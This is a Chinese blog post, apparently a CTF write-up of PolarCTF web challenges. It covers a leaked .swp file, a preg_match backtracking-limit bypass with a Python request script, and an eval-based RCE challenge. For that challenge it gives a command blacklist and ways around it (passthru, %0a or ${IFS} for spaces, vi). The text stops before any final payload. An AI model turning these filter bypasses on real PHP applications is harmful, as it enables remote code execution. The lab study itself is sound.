[DS]Polar靶场web(一)

AZ_aa

已于 2024-03-25 08:28:32 修改

阅读量525

点赞数 4

文章标签：学习安全

于 2024-03-24 23:27:32 首次发布

本文链接：https://blog.csdn.net/m0_74057302/article/details/136982608

版权

本文描述了一个技术挑战，涉及如何通过绕过系统函数过滤和使用特定技巧（如swp文件、回溯和JSFuck编码）来获取flag。作者分享了如何利用POST数据和PHP函数实现远程代码执行(RCE)并找到隐藏的flag。

摘要由CSDN通过智能技术生成

静以养心，宽以养气。

跟着Dream ZHO大神学专升安的一天

swp

直接dirb扫出.index.php.swp的目录

function jiuzhe($xdmtql){
    return preg_match('/sys.*nb/is',$xdmtql);//如果包含以 "sys" 开始，后跟任意字符直到 "nb" 的字符串，返回true
}

$xdmtql=@$_POST['xdmtql'];
if(!is_array($xdmtql)){//非数组
    if(!jiuzhe($xdmtql)){
        if(strpos($xdmtql,'sys nb')!==false){如果$xdmtql匹配到sys nb则输出flag{*******}
            echo 'flag{*******}';
        }else{
            echo 'true .swp file?';
        }
    }else{
        echo 'nijilenijile';
    }
}

我们要想得到flag要满足：$xdmtql非数组，不匹配/sys.*nb/is，但是要匹配strpos($xdmtql,'sys nb')为true

这样我们可以用回溯绕过，pre_match函数处理的字符长度有限，如果超过这个长度就会返回false也就是没有匹配到。直接上脚本。

import requests
request=requests.post('http://24aac5d4-fc13-414a-8c21-62130c090777.www.polarctf.com:8090/',data={'xdmtql':'sys nb'+'-'*1000000})
print(request.text)

简单rce

<?php
/*

PolarD&N CTF

*/
highlight_file(__FILE__);
function no($txt){
    if(!preg_match("/cat|more|less|head|tac|tail|nl|od|vim|uniq|system|proc_open|shell_exec|popen| /i", $txt)){
    return $txt;}
   else{
die("what's up");}}
$yyds=($_POST['yyds']);
if(isset($_GET['sys'])&&$yyds=='666'){
  eval(no($_GET['sys']));
  }
  else
    {echo "nonono";
}
?> nonono

这题过滤了cat|more|less|head|tac|tail|nl|od|vim|uniq|system|proc_open|shell_exec|popen这么多函数，但是他过滤，关我什么事，我们仍可以用echo和passthru来查看目录，空格用%0a或{$IFS}代替，读取文件用vi。

下面直接开打!!!